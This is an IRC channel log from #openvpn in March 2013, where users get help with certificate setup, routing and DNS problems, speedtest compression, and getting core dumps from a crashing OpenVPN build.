15:00 < Aketzu> then all clients look exactly the same and you can disable them only all at once
15:01 < Aketzu> it's easy to script creating seperate client.crt + key for every client with different name... then you can identify clients in configs, set static ip:s, disable/revoke single clients etc.
15:01 < EddieBauer> I see... Assuming that it isn't particularly important to differentiate amongst clients, or have any fine-grained control over them, is this still an approach taht's safe?
15:02 < Aketzu> key is negotiated per session so I'd say yes
15:02 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:02 < Aketzu> (with static key it would use the same encryption key for all which is bad)
15:03 < EddieBauer> Ah ok.  Thanks Aketzu.  Regarding the scripting to create the client.crt and key, do you mean using the OpenVPN up script?
15:03 < Aketzu> nope, some different script.. when you create & distribute configs
15:03 < EddieBauer> Gotcha. Thanks again.
15:04 < Aketzu> paid access server does some of that magic automatically
15:05 < lord4163> What a disaster
15:07 < pekster> EddieBauer: With the same private key, one client who was able to capture a full session (the TLS negotiation is the importnat bit) could theoretically decrypt the entire stream into plaintext since that TLS session is what creates the session keys used to encrypt the data
15:09 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
15:09 -!- mode/#openvpn [+o krzee] by ChanServ
15:09 < pekster> lord4163: What are you referring to? If you're referring to the US cryptography export laws, I don't think they'd impact you in Sweden unless you're packaging something that needs to be export friendly *from* the US
15:09 < EddieBauer> I see.  That makes sense.  So best to generate the key on the client's end?
15:10 < lord4163> Couldn't you guys have made a simple bash script for installing OpenVPN I'm getting a headache.
15:10 < lord4163> pekster: I don't know I'm just a dumbass it seems, can't understand the installation process
15:11 < pekster> EddieBauer: Correct. Ideally your PKI system isn't on your server or any other VPN-connected host, and each client (and the server) generates their own keypair on the device to be used, and sends the signing request to thte CA. The CA signs it and sends back a certificate, both of which can happen in plaintext by merely verifying the hash or fingerprint with the sender if you're super-security concious
15:12 < pekster> lord4163: There are builds in alost all mainstream distros via their own package managers, and a build from source is the standard untar, ./configure, make, make install process. And Windows has a native installer too
15:12 < EddieBauer> Alright, thanks.
15:12 < lord4163> pekster: yeah but you have to configure it.
15:13 < pekster> !howto
15:13 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
15:13 -!- Ah2k is now known as Rough_
15:15 < lord4163> pekster: Okay thx will read that tomorrow, I'm willing to switch from PPTP, it doesn't autoconnect to my VPN on Android. OpenVPN does right?
15:16 < pekster> I haven't yet used the android client, but openvpn has keepalive and restart support depending on configuration
15:16 < pekster> !keepalive
15:16 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
15:16 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
15:17 < lord4163> awesome, will set this up tomorrow in virtualbox, then install it in production if it works fast :)
15:18 < lord4163> The Android client is really snappy. Really well done ;)
15:19 < lord4163> bye
15:19 -!- lord4163 [~fabian@81-232-61-81-no226.tbcn.telia.com] has left #openvpn []
15:37 -!- dazo is now known as dazo_afk
15:39 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
15:41 -!- Six6siX_ [~six6six@jasmine1.sammybakar.com] has joined #openvpn
15:44 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
15:44 -!- tcamuso__ [tcamuso@nat/redhat/x-qrycyeqthdldqtml] has quit [Ping timeout: 264 seconds]
15:53 -!- KaiForce [~chatzilla@adsl-70-228-81-145.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
15:57 -!- Orbi [~opera@anon-186-163.vpn.ipredator.se] has joined #openvpn
16:04 -!- mjixx [~markus@80.67.14.31] has quit [Ping timeout: 252 seconds]
16:16 -!- EddieBauer [~eddie@206-47-100-148.dsl.ncf.ca] has left #openvpn []
16:16 -!- mjixx [~markus@80.67.14.31] has joined #openvpn
16:17 -!- master_o1_master [~master_of@p4FF24A89.dip.t-dialin.net] has joined #openvpn
16:20 -!- master_of_master [~master_of@p4FF247F7.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
16:20 -!- mete [~mete@mete.shell.la] has quit [Read error: Operation timed out]
16:23 -!- mete [~mete@mete.shell.la] has joined #openvpn
16:33 -!- Volkswagner [~eric@cpe-24-161-55-139.hvc.res.rr.com] has joined #openvpn
16:34 -!- penk [~dave@static-66-137-171-68.axsne.net] has quit [Quit: Linkinus - http://linkinus.com]
16:43 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
16:58 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
17:00 -!- Six6siX_ [~six6six@jasmine1.sammybakar.com] has quit [Ping timeout: 245 seconds]
17:02 < Volkswagner> Greetings,  I have this config for server on WNDR3800 router running OpenWRT backfire  http://pastebin.com/hhXWSGr5
17:03 < Volkswagner> Clients do connect, but can't ping server.  Clients register a tun ip in the /tmp/ipp.txt
17:03 < Volkswagner> But clients don't show up in /var/log/openvpn-status.log while connected
17:04 < Volkswagner> Should my tun adapter on server be bridged to lan interface in router config?
17:05 < Volkswagner> This was the case when using tap device, not sure what to do with tun device
17:06 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
17:09 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:16 < pekster> Likely firewalls. OpenWRT makes a mess of firewalls, like most do-it-for-you frontends
17:17 <@krzee> you definitely don't bridge a tun device
17:17 <@krzee> you say you can't ping server… can the server ping them?
17:17 < pekster> The status log isn't instant, so it'll take whatever the default period is to refresh. The manpage doesn't actually list what that is, but IIRC is somewhere between 30 and 120 seconds
17:33 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
17:37 < pekster> (60s, just got around to looking it up in the sources.)
17:44 -!- Orbi [~opera@anon-186-163.vpn.ipredator.se] has left #openvpn []
17:46 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:46 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
17:52 -!- Six6siX_ [~six6six@jasmine1.sammybakar.com] has joined #openvpn
17:54 -!- MeanderingCode_ [~Meanderin@71-213-190-2.albq.qwest.net] has joined #openvpn
17:54 -!- MeanderingCode [~Meanderin@71-213-190-2.albq.qwest.net] has quit [Ping timeout: 245 seconds]
17:55 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
18:01 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Textual IRC Client: http://www.textualapp.com/]
18:02 < Volkswagner> pekster, krzee thanks.  I waited several minutes to check status log
18:02 < Volkswagner> I'll dig deeper
18:03 <@krzee> you can update the status log manually as well
18:03 <@krzee> see SIGNALS in the manual
18:03 <@krzee> !man
18:03 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
18:07 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
18:07 -!- Six6siX_ [~six6six@jasmine1.sammybakar.com] has quit [Remote host closed the connection]
18:10 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
18:25 -!- aoeui [~aoeui@gateway/tor-sasl/aoeui] has joined #openvpn
18:33 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Textual IRC Client: http://www.textualapp.com/]
19:17 -!- Poster|w [poster@gateway/shell/bshellz.net/x-abfybiqhisdcpdwn] has quit [Quit: leaving]
19:17 -!- Poster|w [poster@gateway/shell/bshellz.net/x-kbmtosvidzdqumpg] has joined #openvpn
19:21 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
19:55 -!- troyt [~troyt@2001:1938:240:3000::3] has quit [Read error: Operation timed out]
20:02 -!- troyt [~troyt@2001:1938:240:3000::3] has joined #openvpn
20:14 -!- raidz is now known as raidz_away
20:40 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 260 seconds]
20:42 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
20:42 -!- nlopez [~quassel@198.211.102.196] has joined #openvpn
20:44 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
20:50 -!- Aprogas_ [aprogas@enki.aprogas.net] has joined #openvpn
20:50 -!- Aprogas [aprogas@enki.aprogas.net] has quit [Read error: Connection reset by peer]
20:51 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Read error: Connection reset by peer]
20:51 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
20:55 -!- nlopez [~quassel@198.211.102.196] has quit [Remote host closed the connection]
21:01 -!- nlopez [~quassel@198.211.102.196] has joined #openvpn
21:01 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
21:02 -!- nlopez [~quassel@198.211.102.196] has quit [Remote host closed the connection]
21:03 -!- nlopez [~quassel@198.211.102.196] has joined #openvpn
21:03 -!- nlopez [~quassel@198.211.102.196] has quit [Remote host closed the connection]
21:04 -!- nlopez [~quassel@198.211.102.196] has joined #openvpn
21:07 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:13 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
21:16 -!- riot [~riot@eris.hackerfleet.org] has quit [Read error: Operation timed out]
21:16 -!- riot [~riot@eris.hackerfleet.org] has joined #openvpn
21:49 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
22:16 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
22:33 -!- VisionNL_ [~anonymous@tuig.nikhef.nl] has quit [Ping timeout: 245 seconds]
22:33 -!- VisionNL [~anonymous@tuig.nikhef.nl] has joined #openvpn
22:43 -!- MeanderingCode [~Meanderin@71-213-183-157.albq.qwest.net] has joined #openvpn
22:44 -!- MeanderingCode_ [~Meanderin@71-213-190-2.albq.qwest.net] has quit [Ping timeout: 240 seconds]
22:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep]
23:26 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
23:42 -!- MeanderingCode [~Meanderin@71-213-183-157.albq.qwest.net] has quit [Ping timeout: 240 seconds]
23:44 -!- MeanderingCode [~Meanderin@71-213-183-157.albq.qwest.net] has joined #openvpn
--- Day changed Tue Mar 26 2013
00:12 -!- roue [~roue@96-42-92-237.dhcp.roch.mn.charter.com] has quit [Read error: Operation timed out]
00:23 -!- arthurdent [~achnic12@ada.evergreen.edu] has joined #openvpn
00:23 < arthurdent> when doing speedtests on speedtest.net with my vpn enabled, my internet connection appears ridiculously fast
00:24 < arthurdent> is my internet connection actually faster or is it just appearing that way and still bottlenecked to my normal ISP speeds?
00:28 < Aketzu> openvpn can do compression
00:28 < rob0> hmm, it could be that the VPN server queues your packets and makes it appear faster, but obviously you will be limited to what your ISP can do.
00:29 < arthurdent> I figured as much, I'm really not sure how these speed-test websites actually calculate speed.
00:34 < arthurdent> thanks
00:34 -!- arthurdent [~achnic12@ada.evergreen.edu] has left #openvpn ["WeeChat 0.4.0"]
00:34 < rob0> Aketzu, IME the LZO compression is not really very effective.
00:57 -!- brute11k [~brute@89.249.230.134] has quit [Ping timeout: 255 seconds]
00:58 -!- brute11k [~brute@89.249.230.134] has joined #openvpn
01:07 < pekster> rob0: Unless the "speedtest" is the alphabet or a bunch of 0x00 bytes :)
01:25 < Aketzu> GET /speedtest/latency.txt?x=1364278940892 HTTP/1.1
01:25 < Aketzu> GET /speedtest/random350x350.jpg?x=1364278943394&y=1 HTTP/1.1
01:26 < Aketzu> bzip2, random350x350.jpg:  1.085:1,  7.372 bits/byte,  7.85% saved, 245388 in, 226122 out.
01:27 < Aketzu> ok, pretty much incompressible
01:27 < Aketzu> everything happens through single TCP socket so ISP might have some fancy rate limiting in place
01:30 < Aketzu> ha... upload is simple repeating string like "CKOXYDXUHXLSEXEIOQRBPTBMHNVEJURSOYQUQYFOXTXGGXNFAMPYOGJEGVSWQS..."
01:30 < Aketzu> upload.txt: 732.843:1,  0.011 bits/byte, 99.86% saved, 499799 in, 682 out.
01:33 -!- roue [~roue@96-42-92-237.dhcp.roch.mn.charter.com] has joined #openvpn
02:10 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
02:33 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 272 seconds]
02:42 -!- ceda [~fredrik@c83-248-146-227.bredband.comhem.se] has quit [Ping timeout: 264 seconds]
02:42 -!- ceda [~fredrik@c83-248-146-227.bredband.comhem.se] has joined #openvpn
02:48 -!- ceda [~fredrik@c83-248-146-227.bredband.comhem.se] has quit [Ping timeout: 245 seconds]
02:59 -!- ceda [~fredrik@c83-248-146-227.bredband.comhem.se] has joined #openvpn
03:04 -!- ceda [~fredrik@c83-248-146-227.bredband.comhem.se] has quit [Ping timeout: 240 seconds]
03:05 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
03:19 -!- Guest42485 [~matt@mlpc.wiltshire.ac.uk] has left #openvpn []
03:19 -!- matt_ [~matt@mlpc.wiltshire.ac.uk] has joined #openvpn
03:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
03:20 -!- mode/#openvpn [+o krzee] by ChanServ
03:27 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:40 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
03:52 -!- ceda [~fredrik@c83-248-146-227.bredband.comhem.se] has joined #openvpn
03:56 -!- Ah2k_ [Ah2k@114.31.8.194] has joined #openvpn
03:57 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
04:00 -!- roue [~roue@96-42-92-237.dhcp.roch.mn.charter.com] has quit [Ping timeout: 272 seconds]
04:01 -!- Dennis84_ [~dennis@mail.it-moebius.de] has joined #openvpn
04:01 -!- Varazir_ [~mircwars@c-94-255-130-176.cust.bredband2.com] has joined #openvpn
04:01 -!- cyberspace- [20253@ninthfloor.org] has quit [Disconnected by services]
04:01 -!- spacedus1 [~info@dev.gentooexperimental.org] has joined #openvpn
04:01 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
04:01 -!- dropje_ [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
04:02 -!- eres [~rs@83.167.228.121] has quit [Ping timeout: 245 seconds]
04:05 -!- edwardly_ [~edwardly@cpe-72-190-113-138.tx.res.rr.com] has joined #openvpn
04:06 -!- Netsplit *.net <-> *.split quits: Sickness\, Masxmasx, edwardly, Rough_, Varazir, spacedust, Dennis84, dropje, scoates
04:06 -!- edwardly_ is now known as edwardly
04:07 -!- Varazir_ is now known as Varazir
04:08 -!- eres [~rs@onyon.net] has joined #openvpn
04:10 -!- Sickness\ [~stront@94.23.10.100] has joined #openvpn
04:10 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has joined #openvpn
04:12 -!- roue [~roue@96-42-92-237.dhcp.roch.mn.charter.com] has joined #openvpn
04:13 -!- Netsplit *.net <-> *.split quits: Sickness\, Masxmasx{AFK}
04:14 -!- scoates [~sean@iconoclast.caedmon.net] has joined #openvpn
04:18 -!- Netsplit over, joins: Sickness\, Masxmasx{AFK}
04:27 -!- brute11k [~brute@89.249.230.134] has quit [Ping timeout: 248 seconds]
04:28 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 256 seconds]
04:30 -!- p3rror [~mezgani@41.140.18.144] has joined #openvpn
04:30 -!- brute11k [~brute@89.249.230.134] has joined #openvpn
04:52 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
04:54 -!- p3rror [~mezgani@41.140.18.144] has quit [Ping timeout: 272 seconds]
05:02 -!- Masxmasx{AFK} is now known as Masxmasx
05:02 -!- Masxmasx [~IetsVulga@u134.baconseed.org] has quit [Changing host]
05:02 -!- Masxmasx [~IetsVulga@unaffiliated/masxmasx] has joined #openvpn
05:03 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
05:05 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
05:05 -!- p3rror [~mezgani@196.201.78.139] has joined #openvpn
05:11 -!- LEDfan_ [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
05:13 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Ping timeout: 272 seconds]
05:24 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
05:25 < LEDfan> Hi. Can someone help me with my openvpn configuration? I want to route everything through the openvpn server. But I can't ping or acces any server. This are my config files: https://46.249.33.111/server.conf (sorry for the ssl error) https://46.249.33.111/client.conf
05:26 -!- mikkel [~mikkel@109.202.158.84] has joined #openvpn
05:38 < LEDfan> Okay. I have changed a few things and I can ping now. But I can't acces all websites.
05:47 -!- p3rror [~mezgani@196.201.78.139] has quit [Quit: Leaving]
05:51 < aoeui> LEDfan: DNS?
05:53 -!- mikkel [~mikkel@109.202.158.84] has quit [Ping timeout: 272 seconds]
06:03 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
06:05 -!- dazo_afk is now known as dazo
06:08 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
06:09 -!- p3rror [~p3rror@ds-59836.dedicados.laniway.com.br] has joined #openvpn
06:13 -!- kubbing [~kubbing@88.103.118.97] has joined #openvpn
06:17 -!- cpm [~Chip@216.169.175.102] has joined #openvpn
06:17 -!- cpm [~Chip@216.169.175.102] has quit [Changing host]
06:17 -!- cpm [~Chip@pdpc/supporter/active/cpm] has joined #openvpn
06:21 < LEDfan> aoeui: yes it's a dns problem.
06:22 < pppingme> what are you using for dns?
06:24 < LEDfan> 8.8.8.8
06:25 < LEDfan> push "dhcp-option DNS 10.1.0.1" on the server
06:26 < LEDfan> I have tried them both.
06:27 < LEDfan> I can access facebook, g+, etc but smaller sites not. But I can't excute this command: tun-mtu 1400
06:34 -!- mattock is now known as mattock_afk
06:38 < MacGyver> ecrist: So, I just hit that bug from last week again.
06:38 < MacGyver> ecrist: This time I got a coredump.
06:40 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
06:43 <@dazo> MacGyver: do you know how to use gdb?
06:44 < MacGyver> dazo: Yes and no.
06:44 < MacGyver> dazo: I know how to get a backtrace. I don't know how to fix missing symbols and whatnot.
06:44 < pppingme> can you ping 8.8.8.8 ?
06:44 <@dazo> MacGyver: okay .... $ gdb <full-path-to-openvpn-binary> <corefile> .... and then 'bt' when you get the command line ...
06:44 <@dazo> oh ...
06:44 < pppingme> oh, wait, just read..
06:45 <@dazo> MacGyver: well, pastebin what you get ... and we'll see what we can get out of it
06:45 < pppingme> LEDfan what happens when you try to access smaller sites?
06:47 < MacGyver> dazo: Probably totally useless, it's just addresses with questionmarks and empty parentheses.
06:48 <@dazo> MacGyver: okay ... then you need to do an openvpn build, with CFLAGS += -g
06:48 <@dazo> MacGyver: what OS/distro are you on?
06:49 -!- cpm [~Chip@pdpc/supporter/active/cpm] has quit [Ping timeout: 248 seconds]
06:51 < MacGyver> dazo: Arch.
06:52 < MacGyver> dazo: Maybe it would help if gdb was able to load shared symbols for linux-gate.so.1, that's the only warning I get. But openvpn is unfortunately built without symbols.
06:52 <@dazo> MacGyver: I believe this should help you in the right direction ... https://wiki.archlinux.org/index.php/Debug_-_Getting_Traces
06:52 <@vpnHelper> Title: Debug - Getting Traces - ArchWiki (at wiki.archlinux.org)
06:52 <@dazo> it would be enough if just openvpn have debug symbols compiled in ... we seldom hunt issues outside openvpn
06:54 < LEDfan> pppingme: I can't acces e.g. mijnip.be/
06:57 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:04 < LEDfan> Sorry for the bad information I need to go now.
07:04 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has left #openvpn ["http://quassel-irc.org - Chat comfortably. Anywhere."]
07:04 -!- TypoNe [~itsme@195.197.184.87] has quit [Ping timeout: 246 seconds]
07:05 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 245 seconds]
07:06 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
07:06 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
07:11 -!- kubbing [~kubbing@88.103.118.97] has quit [Remote host closed the connection]
07:15 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
07:18 -!- bjh4 [~bjh4@12.239.198.1] has joined #openvpn
07:20 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
07:23 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 256 seconds]
07:27 -!- pcdummy_ [~quassel@mx1.page4me.ch] has quit [Remote host closed the connection]
07:28 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
07:30 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has quit []
07:31 -!- Volkswagner [~eric@cpe-24-161-55-139.hvc.res.rr.com] has quit [Quit: Leaving]
07:35 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
07:35 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
07:35 -!- tcamuso [tcamuso@nat/redhat/x-ejfvuhdkalcluvue] has joined #openvpn
07:36 < LEDfan> I'm back. I think I know the problem. (not sure). I think my server need to acces to much hops to get to the website. So I need to change the mtu. But this tun-mtu 1400
07:36 < LEDfan>  command is not found?
07:37 <@ecrist> mtu has nothing to do with hops
07:40 -!- matsh [divine@nanogene.org] has quit [Read error: Connection reset by peer]
07:41 < LEDfan> ecrist: oh yes. I'm a little confused.
07:41 <@ecrist> !goal
07:41 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
07:41 <@ecrist> !logs
07:41 <@ecrist> !configs
07:41 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
07:41 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
07:47 < LEDfan> Goal: I would like to access the internet over my vpn. Server os: Debian (on a VPS), Client os: Arch Linux. Server config: https://46.249.33.111/server.conf Client config: https://46.249.33.111/client.conf  Server log: https://46.249.33.111/server.log
07:49 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Read error: Operation timed out]
07:52 -!- LEDfan_ [~quassel@94-226-126-193.access.telenet.be] has quit [Ping timeout: 264 seconds]
07:58 -!- matsh [divine@nanogene.org] has joined #openvpn
07:59 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
08:00 -!- penk [~dave@static-66-137-171-68.axsne.net] has joined #openvpn
08:14 -!- dropje_ is now known as Dropje
08:25 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
08:26 -!- hrenovo_ [~hrenovo@li469-37.members.linode.com] has joined #openvpn
08:29 -!- hrenovo_ [~hrenovo@li469-37.members.linode.com] has quit [Client Quit]
08:29 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Ping timeout: 256 seconds]
08:30 -!- jzaw [~jzaw@2001:8b0:7:0:5054:ff:fe8e:3b24] has quit [Ping timeout: 256 seconds]
08:31 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
08:40 < MacGyver> dazo: For most accurate results, I take it I should try to create an identical package with debug symbols compiled?
08:40 <@dazo> MacGyver: yeah
08:41 < MacGyver> *sigh*
08:41 < MacGyver> Ah well, let's start :)
08:42 -!- ade_ [~Ade@koln-5d817311.pool.mediaWays.net] has joined #openvpn
08:44 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
08:46 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
08:50 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
08:57 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
09:01 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:04 -!- penk [~dave@static-66-137-171-68.axsne.net] has left #openvpn ["Linkinus - http://linkinus.com"]
09:06 -!- ade_ [~Ade@koln-5d817311.pool.mediaWays.net] has quit [Quit: Too sexy for his shirt]
09:06 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
09:07 -!- ade_b [~Ade@koln-5d817311.pool.mediaWays.net] has joined #openvpn
09:07 -!- ade_b [~Ade@koln-5d817311.pool.mediaWays.net] has quit [Changing host]
09:07 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
09:20 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
09:31 -!- APTX_ is now known as APTX
09:32 < MacGyver> dazo: When compiling with debug symbols enabled, can I still compile with optimizations (to more closely mimic the original package), or does that really screw op debugging and should optimizations be limited to -O1 or none at all?
09:33 <@dazo> MacGyver: yeah, that's no problems at all ... the crucial argument is the '-g' in CFLAGS
09:33 <@dazo> and also not running 'strip' on the binary afterwards
09:34 < MacGyver> Yeah, those two are default, but in the arch instructions they also add -O1 to the compiler flags.
09:34 < MacGyver> Whereas -O2 is default, iirc.
09:43 < MacGyver> Okay, built, now it's a matter of waiting for the bug to manifest again.
09:54 < MacGyver> Oh great.
09:55 < MacGyver> Built with debug symbols, but hasn't dumped core even though it was a segfault...
09:55 < MacGyver> The hell...
09:57 <@ecrist> can't get a break, MacGyver 
10:08 < MacGyver> I just... don't get it.
10:08 < MacGyver> Coredumps are enabled in ulimit for all users.
10:08 < MacGyver> This morning it dumped just fine.
10:08 < MacGyver> I haven't changed ulimits since then...
10:09 < MacGyver> And #archlinux is helpful as always.
10:10 < MacGyver> I.e. anything a little more advanced than "why should I use arch" barely gets a response.
10:22 < MacGyver> Right, I take that back, this one has peaked the interest of some people.
10:24 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
10:30 -!- raidz_away is now known as raidz
10:35 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Ping timeout: 272 seconds]
10:44 < MacGyver> It appears that when I kill openvpn with ^\, core is dumped just fine, but when killed with kill -segv, it isn't.
10:44 < MacGyver> Anything openvpn-specific this could be?
10:48 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
10:50 -!- cirdan [~chris@c-69-248-228-142.hsd1.nj.comcast.net] has joined #openvpn
10:51 < cirdan> hey all, i have a dns question. OpenVPN pushes 3 dns servers when I connect, but it seems the first one (my internal) isn't used
10:51 < cirdan> normal domains resolve but my internal ones won't. host -v shows it connecting to the 2nd dns server in the list
10:52 < cirdan> if i do it manually host opennms 10.0.0.2 it works fine. this is on 10.8, and scutil --dns and /etc/resolv.conf both have 10.0.0.2 listed first
11:04 -!- joshie__ is now known as joshie
11:06 -!- Aprogas_ is now known as Aprogas
11:06 < cirdan> oh nslookup shows Got recursion not available from 10.0.0.2, trying next server
11:06 < cirdan> hmm why would it do that
11:07 < cirdan> oh well, looks like allowing recursion for the vpn's subnet fixes it... odd though
11:07 < MacGyver> dazo, ecrist: It seems to be *very specific* to openvpn after dropping privs to user/group nobody, that it won't dump core.
11:07 < MacGyver> Cause when I start sleep with sudo -H -u nobody -g nobody /usr/bin/sleep 100, and then kill it with segv, it does dump.
11:08 < MacGyver> Thoughts on this, while I move my ass to the train?
11:08 <@EugeneKay> --user/--group priv dropping sucks.
11:08 <@EugeneKay> !unpriv
11:08 <@vpnHelper> "unpriv" is see https://community.openvpn.net/openvpn/wiki/UnprivilegedUser for a write-up by EugeneKay on how to run OpenVPN without root/admin permissions.
11:08 <@EugeneKay> Do it that way instead ^
11:09 < MacGyver> EugeneKay: I know - currently I don't care how much it sucks, it seems that these particular circumstances trigger a bug.
11:09 < MacGyver> EugeneKay: Because nobody *is* allowed to dump core on my system.
11:09 < MacGyver> And I want to know why openvpn isn't doing that.
11:11 <@EugeneKay> Because it's doing priv-dropping, not executing as nobody to begin with
11:12 < MacGyver> And the drop includes dropping dump-privs?
11:12 <@EugeneKay> Yup
11:22 < MacGyver> Any way to prevent that or giving it those rivs back (eg through /proc) without altering code?
11:23 < MacGyver> No, wait.
